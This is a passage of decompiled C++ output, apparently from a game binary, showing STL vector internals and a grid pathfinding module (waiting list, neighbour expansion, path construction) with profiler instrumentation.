FunctionEntarance::_FunctionEntarance(&_); return 1; } //----- (00548410) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(TickTimer *_First, unsigned int _Count, TickTimer *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 TickTimer *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { v6->m_CurDelayTime = _Val->m_CurDelayTime; v6->m_DelayTime = _Val->m_DelayTime; *(_DWORD *)&v6->m_bEnable = *(_DWORD *)&_Val->m_bEnable; } ++v6; --v5; } while ( v5 ); } } //----- (00548450) -------------------------------------------------------- KQContribute::PlayerContribute *__thiscall std::vector>::_Ufill(std::vector > *this, KQContribute::PlayerContribute *_Ptr, unsigned int _Count, KQContribute::PlayerContribute *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00548480) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (005484F0) -------------------------------------------------------- bool __thiscall Navigator::WaitingList::wl_Pop(Navigator::WaitingList *this, int *x, int *y) { Navigator::WaitingList *v3; // esi@1 Navigator::UnitPointWithDistance *v4; // ecx@1 bool result; // al@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::WaitingList::wl_Pop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::WaitingList::wl_Pop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->wl_Stack._Myfirst; if ( v4 && v3->wl_Stack._Mylast - v4 ) { *x = v4->upwd_X; *y = v4->upwd_Y; std::_Copy_opt( (Navigator::NaviPoint *)&v4[1], (Navigator::NaviPoint *)v3->wl_Stack._Mylast, (Navigator::NaviPoint *)v4, (std::_Nonscalar_ptr_iterator_tag)x); --v3->wl_Stack._Mylast; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::WaitingList::wl_Pop"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::WaitingList::wl_Pop"); result = 0; } return result; } //----- (00548600) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 Navigator::UnitPointWithDistance *v3; // eax@3 void *v4; // eax@6 TickTimer *v5; // ST04_4@6 TickTimer *v6; // ST00_4@6 Navigator::UnitPointWithDistance *v7; // ebx@6 int v8; // edi@7 signed int v9; // edx@8 Navigator::UnitPointWithDistance *v10; // ecx@10 Navigator::UnitPointWithDistance *v11; // eax@10 char *v12; // eax@13 int v13; // [sp+0h] [bp-20h]@1 char *_Ptr; // [sp+Ch] [bp-14h]@6 int *v15; // [sp+10h] [bp-10h]@1 int v16; // [sp+1Ch] [bp-4h]@6 v15 = &v13; v2 = this; if ( _Count > 0x15555555 ) std::vector>::_Xlen(this); v3 = this->_Myfirst; if ( v3 ) v3 = (Navigator::UnitPointWithDistance *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = operator new(12 * _Count); v5 = (TickTimer *)v2->_Mylast; v6 = (TickTimer *)v2->_Myfirst; _Ptr = (char *)v4; v16 = 0; std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( v6, v5, (TickTimer *)v4, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Count); v7 = v2->_Myfirst; if ( v7 ) { v9 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) >> 1; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v7 ) { v10 = v2->_Mylast; v11 = v2->_Myfirst; if ( v7 != v10 ) { do ++v11; while ( v11 != v10 ); } operator delete(v2->_Myfirst); } v12 = _Ptr; v2->_Myend = (Navigator::UnitPointWithDistance *)&_Ptr[12 * _Count]; v2->_Mylast = (Navigator::UnitPointWithDistance *)&v12[12 * v8]; v2->_Myfirst = (Navigator::UnitPointWithDistance *)v12; } } //----- (005486F1) -------------------------------------------------------- void __usercall _L82052(int a1) { operator delete(*(void **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (00548710) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::UnitPointWithDistance *_Val) { std::vector > *v4; // esi@1 int v5; // edx@1 int v6; // eax@1 Navigator::UnitPointWithDistance *v7; // ecx@1 unsigned int v8; // ebx@2 signed int v9; // edx@3 unsigned int v10; // edi@4 int v11; // eax@6 int v12; // eax@11 int v13; // ebx@15 int v14; // eax@18 TickTimer *v15; // ST18_4@22 Navigator::UnitPointWithDistance *v16; // ecx@22 int v17; // eax@23 int v18; // edi@25 Navigator::UnitPointWithDistance *v19; // edx@26 Navigator::UnitPointWithDistance *v20; // eax@26 TickTimer *v21; // ecx@30 std::vector >::iterator v22; // ebx@30 Navigator::UnitPointWithDistance *v23; // ecx@31 TickTimer *v24; // ST24_4@31 unsigned int v25; // edi@31 int v26; // [sp+0h] [bp-28h]@1 int _Tmp; // [sp+Ch] [bp-1Ch]@1 int v28; // [sp+10h] [bp-18h]@1 int v29; // [sp+14h] [bp-14h]@1 int *v30; // [sp+18h] [bp-10h]@1 int v31; // [sp+24h] [bp-4h]@22 TickTimer *_Wherea; // [sp+30h] [bp+8h]@32 TickTimer *_Counta; // [sp+34h] [bp+Ch]@22 void *_Newvec; // [sp+38h] [bp+10h]@22 TickTimer *_Newveca; // [sp+38h] [bp+10h]@30 v4 = this; v5 = _Val->upwd_Y; v6 = _Val->upwd_Dist; _Tmp = _Val->upwd_X; v7 = this->_Myfirst; v30 = &v26; v28 = v5; v29 = v6; if ( v7 ) { v9 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v7)) >> 32) >> 1; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } v10 = _Count; if ( _Count ) { if ( v7 ) v11 = v4->_Mylast - v7; else v11 = 0; if ( 357913941 - v11 < _Count ) std::vector>::_Xlen(v4); if ( v7 ) v12 = v4->_Mylast - v7; else v12 = 0; if ( v8 >= _Count + v12 ) { v21 = (TickTimer *)v4->_Mylast; v22 = _Where; _Newveca = (TickTimer *)v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 12 >= _Count ) { _Wherea = &v21[-_Count]; v4->_Mylast = (Navigator::UnitPointWithDistance *)std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( &v21[-_Count], v21, v21, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v21 - 12 * _Count)); std::_Copy_backward_opt( *(TickTimer **)&v22, _Wherea, _Newveca, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(TickTimer **)&v22, (TickTimer *)(*(_DWORD *)&v22 + 12 * _Count), (TickTimer *)&_Tmp); } else { std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( *(TickTimer **)&_Where, v21, (TickTimer *)(*(_DWORD *)&_Where + 12 * _Count), (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)(12 * _Count)); v23 = v4->_Mylast; v24 = (TickTimer *)v4->_Mylast; v31 = 2; std::vector>::_Ufill( (std::vector > *)v4, v24, _Count - (signed int)((char *)v23 - *(_DWORD *)&_Where) / 12, (TickTimer *)&_Tmp); v25 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (Navigator::UnitPointWithDistance *)v25; std::fill( *(TickTimer **)&_Where, (TickTimer *)(v25 - 12 * _Count), (TickTimer *)&_Tmp); } } else { if ( 357913941 - (v8 >> 1) >= v8 ) v13 = (v8 >> 1) + v8; else v13 = 0; if ( v7 ) v14 = v4->_Mylast - v7; else v14 = 0; if ( v13 < _Count + v14 ) v13 = _Count + std::vector>::size((std::vector > *)v4); _Newvec = operator new(12 * v13); v15 = (TickTimer *)v4->_Myfirst; v31 = 0; _Counta = std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( v15, *(TickTimer **)&_Where, (TickTimer *)_Newvec, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Counta, v10, (TickTimer *)&_Tmp, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( *(TickTimer **)&_Where, (TickTimer *)v4->_Mylast, &_Counta[v10], (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v4->_Myfirst; if ( v16 ) v17 = v4->_Mylast - v16; else v17 = 0; v18 = v17 + v10; if ( v16 ) { v19 = v4->_Mylast; v20 = v4->_Myfirst; if ( v16 != v19 ) { do ++v20; while ( v20 != v19 ); } operator delete(v4->_Myfirst); } v4->_Myend = (Navigator::UnitPointWithDistance *)((char *)_Newvec + 12 * v13); v4->_Mylast = (Navigator::UnitPointWithDistance *)((char *)_Newvec + 12 * v18); v4->_Myfirst = (Navigator::UnitPointWithDistance *)_Newvec; } } } //----- (005489E0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::UnitPoint *_Val) { int v4; // edx@1 std::vector > *v5; // esi@1 Navigator::UnitPoint *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // edx@6 int v10; // edx@11 int v11; // eax@15 int v12; // edx@18 int v13; // eax@22 void *v14; // edi@25 std::vector >::const_iterator v15; // ST14_4@25 Navigator::UnitPoint *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::vector >::const_iterator v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 KQContribute::PlayerContribute *v24; // ST20_4@32 int v25; // ebx@32 KQContribute::PlayerContribute *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-2Ch]@31 int v28; // [sp+0h] [bp-28h]@1 int _Tmp; // [sp+Ch] [bp-1Ch]@1 int v30; // [sp+10h] [bp-18h]@1 void *_Newvec; // [sp+14h] [bp-14h]@25 int *v32; // [sp+18h] [bp-10h]@1 int v33; // [sp+24h] [bp-4h]@25 unsigned int _Wherea; // [sp+30h] [bp+8h]@31 int _Counta; // [sp+34h] [bp+Ch]@25 KQContribute::PlayerContribute *_Valb; // [sp+38h] [bp+10h]@25 KQContribute::PlayerContribute *_Vala; // [sp+38h] [bp+10h]@31 v4 = _Val->up_Y; v5 = this; _Tmp = _Val->up_X; v6 = this->_Myfirst; v32 = &v28; v30 = v4; if ( v6 ) v7 = v5->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v5->_Mylast - v6; else v9 = 0; if ( 536870911 - v9 < _Count ) std::vector>::_Xlen((std::vector > *)v5); if ( v6 ) v10 = v5->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::const_iterator)v5->_Mylast; v20 = _Where; v21 = (signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where) >> 3 < _Count; v22 = 8 * _Count; _Wherea = 8 * _Count; v27.dummy[0] = 8 * _Count; _Vala = (KQContribute::PlayerContribute *)v5->_Mylast; if ( v21 ) { std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::const_iterator)v20, v19, (KQContribute::PlayerContribute *)(*(_DWORD *)&v20 + v22), (std::allocator *)v5, v27); v23 = _Count - ((signed int)((char *)v5->_Mylast - *(_DWORD *)&v20) >> 3); v24 = (KQContribute::PlayerContribute *)v5->_Mylast; v33 = 2; std::vector>::_Ufill( (std::vector > *)v5, v24, v23, (KQContribute::PlayerContribute *)&_Tmp); v25 = (int)&v5->_Mylast[_Wherea / 8]; v5->_Mylast = (Navigator::UnitPoint *)v25; std::fill( *(KQContribute::PlayerContribute **)&v20, (KQContribute::PlayerContribute *)(v25 - _Wherea), (KQContribute::PlayerContribute *)&_Tmp); } else { v26 = (KQContribute::PlayerContribute *)(*(_DWORD *)&v19 - v22); v5->_Mylast = (Navigator::UnitPoint *)std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::const_iterator)(*(_DWORD *)&v19 - v22), v19, *(KQContribute::PlayerContribute **)&v19, (std::allocator *)v5, v27); std::copy_backward( *(KQContribute::PlayerContribute **)&v20, v26, _Vala); std::fill( *(KQContribute::PlayerContribute **)&v20, (KQContribute::PlayerContribute *)(*(_DWORD *)&v20 + _Wherea), (KQContribute::PlayerContribute *)&_Tmp); } } else { if ( 536870911 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v5->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v6 ) v13 = v5->_Mylast - v6; else v13 = 0; v11 = _Count + v13; } _Counta = 8 * v11; v14 = operator new(8 * v11); v15 = (std::vector >::const_iterator)v5->_Myfirst; _Newvec = v14; v33 = 0; _Valb = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v15, (std::vector >::const_iterator)_Where, (KQContribute::PlayerContribute *)v14, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Valb, v8, (KQContribute::PlayerContribute *)&_Tmp, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::const_iterator)_Where, (std::vector >::const_iterator)v5->_Mylast, &_Valb[v8], (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v5->_Myfirst; if ( v16 ) v17 = v5->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v5->_Myfirst); v5->_Myend = (Navigator::UnitPoint *)((char *)v14 + _Counta); v5->_Mylast = (Navigator::UnitPoint *)((char *)v14 + 8 * v18); v5->_Myfirst = (Navigator::UnitPoint *)v14; } } } //----- (00548C30) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::UnitPoint _Val) { Navigator::UnitPoint *v3; // edx@1 signed int v4; // eax@2 signed int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( (std::vector > *)this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } } //----- (00548CA0) -------------------------------------------------------- void *__thiscall std::vector>::operator_(void *this, int __formal) { void *v2; // esi@1 Navigator::NaviPoint *v3; // ebp@2 signed int v4; // edx@3 int v5; // ecx@3 void *result; // eax@6 Navigator::NaviPoint *v7; // edi@7 int v8; // eax@8 int v9; // eax@11 int v10; // eax@15 Navigator::NaviPoint *v11; // ebp@18 unsigned int v12; // eax@21 v2 = this; if ( this == (void *)__formal ) return v2; v3 = *(Navigator::NaviPoint **)(__formal + 4); if ( v3 ) { v4 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)(__formal + 8) - (signed int)v3)) >> 32) >> 1; v5 = v4 + ((unsigned int)v4 >> 31); if ( v5 ) { v7 = (Navigator::NaviPoint *)*((_DWORD *)v2 + 1); if ( v7 ) v8 = (*((_DWORD *)v2 + 2) - (signed int)v7) / 12; else v8 = 0; if ( v5 <= (unsigned int)v8 ) { std::_Copy_opt( v3, *(Navigator::NaviPoint **)(__formal + 8), v7, (std::_Nonscalar_ptr_iterator_tag)__formal); v9 = *(_DWORD *)(__formal + 4); if ( v9 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 12 * (*(_DWORD *)(__formal + 8) - v9) / 12; result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v7 ) v10 = (*((_DWORD *)v2 + 3) - (signed int)v7) / 12; else v10 = 0; if ( v5 <= (unsigned int)v10 ) { v11 = &v3[std::vector>::size((std::vector > *)v2)]; std::_Copy_opt( *(Navigator::NaviPoint **)(__formal + 4), v11, v7, (std::_Nonscalar_ptr_iterator_tag)__formal); *((_DWORD *)v2 + 2) = std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( (TickTimer *)v11, *(TickTimer **)(__formal + 8), *((TickTimer **)v2 + 2), (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } if ( v7 ) operator delete(*((void **)v2 + 1)); v12 = std::vector>::size((std::vector > *)__formal); if ( std::vector>::_Buy( (std::vector > *)v2, v12) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator *)v2, *(TickTimer **)(__formal + 4), *(TickTimer **)(__formal + 8), *((TickTimer **)v2 + 1)); return v2; } } if ( *((_DWORD *)v2 + 1) ) operator delete(*((void **)v2 + 1)); *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; return v2; } //----- (00548E20) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::UnitPointWithDistance _Val) { std::vector > *v3; // esi@1 Navigator::UnitPointWithDistance *v4; // ecx@1 int v5; // eax@2 int v6; // eax@6 Navigator::NaviPoint *v7; // edi@10 Navigator::NaviPoint *v8; // eax@11 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = v3->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = (Navigator::NaviPoint *)v3->_Mylast; if ( _Newsize < v3->_Mylast - v4 ) { v8 = (Navigator::NaviPoint *)&v4[_Newsize]; if ( v8 != v7 ) v3->_Mylast = (Navigator::UnitPointWithDistance *)std::_Copy_opt( v7, v7, v8, (std::_Nonscalar_ptr_iterator_tag)_Newsize); } } } else { if ( v4 ) v6 = v3->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( v3, (std::vector >::iterator)v3->_Mylast, _Newsize - v6, &_Val); } } //----- (00548ED0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, Navigator::NaviPoint *_Val) { std::vector > *v4; // edi@1 Navigator::NaviPoint *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 1; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00548F40) -------------------------------------------------------- void __thiscall Navigator::WaitingList::WaitingList(Navigator::WaitingList *this) { this->wl_Stack._Myfirst = 0; this->wl_Stack._Mylast = 0; this->wl_Stack._Myend = 0; std::vector>::reserve( &this->wl_Stack, 0x3E8u); } //----- (00548F90) -------------------------------------------------------- void __thiscall Navigator::WaitingList::wl_Push(Navigator::WaitingList *this, int x, int y, int d) { Navigator::WaitingList *v4; // esi@1 std::vector >::iterator v5; // eax@1 Navigator::UnitPointWithDistance *v6; // ecx@1 Navigator::UnitPointWithDistance _Val; // [sp+8h] [bp-18h]@4 int i; // [sp+1Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::WaitingList::wl_Push"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::WaitingList::wl_Push"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (std::vector >::iterator)v4->wl_Stack._Myfirst; v6 = v4->wl_Stack._Mylast; for ( i = 0; (Navigator::UnitPointWithDistance *)v5 != v6; *(_DWORD *)&v5 += 12 ) { if ( *(_DWORD *)(*(_DWORD *)&v5 + 8) >= d ) break; } _Val.upwd_Dist = d; _Val.upwd_X = x; _Val.upwd_Y = y; std::vector>::_Insert_n( &v4->wl_Stack, v5, 1u, &_Val); --funcallanalizer.fca_stackpoint; i = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::WaitingList::wl_Push"); } //----- (00549060) -------------------------------------------------------- int __thiscall Navigator::WaitingList::wl_StoreNeighbor(Navigator::WaitingList *this, Navigator::PathFindArgument *pfarg, int centerx, int centery, Navigator::UnitPoint *goal, int stepsize, Navigator::NaviPoint *start) { int v7; // ebx@1 int v8; // ebp@1 int v10; // eax@3 int v11; // edi@5 Navigator::PathFindCell *v12; // esi@14 unsigned int v13; // eax@19 int v14; // esi@20 int v15; // eax@22 bool v16; // sf@24 unsigned __int8 v17; // of@24 int v18; // esi@25 int v19; // [sp-4h] [bp-2Ch]@18 Navigator::PathFindCell *centercell; // [sp+10h] [bp-18h]@1 Navigator::WaitingList *thisa; // [sp+14h] [bp-14h]@1 int centerxa; // [sp+30h] [bp+8h]@3 thisa = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::WaitingList::wl_StoreNeighbor"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::WaitingList::wl_StoreNeighbor"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = centery; v8 = centerx; centercell = Navigator::PathFindBuffer::operator__( pfarg->pfa_PointBuffer, (Navigator::UnitPoint)__PAIR__(centery, centerx)); if ( !centercell ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::WaitingList::wl_StoreNeighbor"); return (int)&wholesaver.ws_savestore[23].gapf2b8[6687]; } v10 = 0; for ( centerxa = 0; ; v10 = centerxa ) { v11 = v8; switch ( v10 ) { case 0: v11 = v8 + 1; break; case 4: v11 = v8 + 1; goto $L72458; case 1: $L72458: ++v7; break; case 5: v11 = v8 + 1; goto $L72460; case 3: $L72460: --v7; break; case 6: ++v7; goto $L72459; case 7: --v7; goto $L72459; case 2: $L72459: v11 = v8 - 1; break; default: break; } v12 = Navigator::PathFindBuffer::operator__(pfarg->pfa_PointBuffer, (Navigator::UnitPoint)__PAIR__(v7, v11)); if ( v12 ) { if ( Navigator::VirtualMap::vm_IsBlocked( pfarg->pfa_Map, start->np_RealX + stepsize * v11, start->np_RealY + stepsize * v7) ) { if ( v11 == goal->up_X && v7 == goal->up_Y ) { v19 = 0; LABEL_23: Navigator::WaitingList::wl_Push(thisa, v11, v7, v19); goto LABEL_24; } } else { v13 = pfarg->pfa_Emptyflag; if ( v12->pfc_EmptyFlag != v13 ) { v12->pfc_EmptyFlag = v13; v12->fpc_Step = centercell->fpc_Step + 1; v12->fpc_From.up_X = v8; v12->fpc_From.up_Y = centery; v15 = Navigator::VirtualMap::vm_DistanceCalc(pfarg->pfa_Map, v11, v7, goal->up_X, goal->up_Y); v12->fpc_Distance = v15; v19 = v15; goto LABEL_23; } v14 = v12->fpc_Step; if ( centercell->fpc_Step > v14 + 1 ) { centercell->fpc_Step = v14 + 1; centercell->fpc_From.up_X = v11; centercell->fpc_From.up_Y = v7; } } } LABEL_24: v17 = __OFSUB__(centerxa + 1, 8); v16 = centerxa++ - 7 < 0; if ( !(v16 ^ v17) ) break; v7 = centery; } v18 = centercell->fpc_Distance; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::WaitingList::wl_StoreNeighbor"); return v18; } //----- (00549270) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, Navigator::UnitPoint *_Val) { std::vector > *v2; // esi@1 Navigator::UnitPoint *v3; // edx@1 signed int v4; // ecx@2 Navigator::UnitPoint *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( (KQContribute::PlayerContribute *)v2->_Mylast, 1u, (KQContribute::PlayerContribute *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (005492E0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, Navigator::NaviPoint *_Val) { std::vector > *v2; // esi@1 Navigator::NaviPoint *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 Navigator::NaviPoint *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 1; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( (TickTimer *)v2->_Mylast, 1u, (TickTimer *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00549360) -------------------------------------------------------- int __thiscall Navigator::MapNavigator::nm_MakePath(Navigator::MapNavigator *this, Navigator::VirtualMap *map, Navigator::UnitPoint goal, Navigator::NaviPoint *start, int maxdepth, StaticVector *pathbuffer) { int v6; // ebp@1 int v7; // ebx@2 int v8; // edi@2 Navigator::PathFindCell *v9; // eax@3 std::vector >::iterator v10; // esi@8 int v11; // eax@8 int result; // eax@12 int v13; // esi@16 _DWORD *v14; // esi@18 int v15; // eax@18 Navigator::NaviPoint *v16; // edi@18 int v17; // edx@18 int v18; // ebx@18 unsigned int v19; // edx@18 std::vector > *v20; // ebp@19 int v21; // eax@20 int v22; // edx@20 Navigator::MapNavigator *v23; // [sp+10h] [bp-20h]@1 unsigned int pnt; // [sp+18h] [bp-18h]@18 unsigned int v25; // [sp+1Ch] [bp-14h]@18 char v26; // [sp+20h] [bp-10h]@18 int v27; // [sp+2Ch] [bp-4h]@1 v23 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::MapNavigator::nm_MakePath"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::MapNavigator::nm_MakePath"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; v27 = 0; std::vector>::resize( &Navigator::MapNavigator::nm_UnitPointList, 0, 0i64); std::vector>::push_back( &Navigator::MapNavigator::nm_UnitPointList, &goal); if ( maxdepth <= 0 ) { LABEL_13: v11 = (int)Where; LABEL_14: if ( dword_CBCCFA4 && (v11 - (signed int)dword_CBCCFA4) >> 3 < (unsigned int)((unk_CBCCFAC - (signed int)dword_CBCCFA4) >> 3) ) { v13 = v11; std::_Uninit_fill_n>( (KQContribute::PlayerContribute *)v11, 1u, (KQContribute::PlayerContribute *)&goal, (std::allocator *)&Navigator::MapNavigator::nm_UnitPointList, (std::_Nonscalar_ptr_iterator_tag)maxdepth); Where = (std::vector >::iterator)(v13 + 8); } else { std::vector>::_Insert_n( &Navigator::MapNavigator::nm_UnitPointList, (std::vector >::iterator)v11, 1u, &goal); } v14 = dword_CBCCFA4; v15 = v23->mn_StepSize; v16 = start; v17 = v15 * dword_CBCCFA4[1]; pnt = start->np_RealX + v15 * *dword_CBCCFA4; v18 = 0; v19 = start->np_RealY + v17; v26 = 0; v25 = v19; if ( dword_CBCCFA4 != (_DWORD *)Where ) { v20 = (std::vector > *)pathbuffer; do { v21 = v23->mn_StepSize; v22 = v16->np_RealY + v21 * v14[1]; pnt = v16->np_RealX + v21 * *v14; v25 = v22; std::vector>::push_back( v20, (Navigator::NaviPoint *)&pnt); v14 += 2; ++v18; } while ( v14 != (_DWORD *)Where ); } --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::nm_MakePath"); result = v18; } else { v7 = goal.up_Y; v8 = goal.up_X; while ( 1 ) { v9 